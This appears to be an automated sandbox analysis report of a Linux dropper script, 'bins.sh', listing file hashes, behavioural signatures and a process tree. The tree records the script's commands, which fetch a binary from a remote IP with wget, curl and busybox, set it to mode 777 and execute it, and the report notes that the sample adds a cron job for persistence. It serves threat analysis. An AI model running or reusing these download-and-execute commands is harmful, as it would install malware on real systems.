Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 07:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9df6a14e6b4001c13a62b4575e200d63

  • SHA1

    cf287c33fa75d8178ce187e258d33ff816a4e30e

  • SHA256

    0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51

  • SHA512

    1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163

  • SSDEEP

    192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz

Malware Config

Signatures

  • Contacts a large (2223) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:1513
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /bin/chmod
          chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • File and Directory Permissions Modification
          PID:1515
        • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1516
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1518
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1519
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1520
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1521
              • /bin/rm
                rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
                2⤵
                  PID:1523
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
                  2⤵
                    PID:1526

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.JBRG1q

                  Filesize

                  210B

                  MD5

                  5d7e77feea09bb688ca711570969db47

                  SHA1

                  c23d404996951e445e28b063b0bc4c8dae0da249

                  SHA256

                  42ff51f214314ccd2a9a34c299d25a52cf295d09a0247d4baea9b8df79715b1a

                  SHA512

                  a87f3f8ce47648274994f4c8ff90edbd6d0e273b43fd7c2c6af80c78b56d6cd11cda77e360e40a78ebdc0c63a0fd87f133fdce3170d203673c3a8a90d5290be9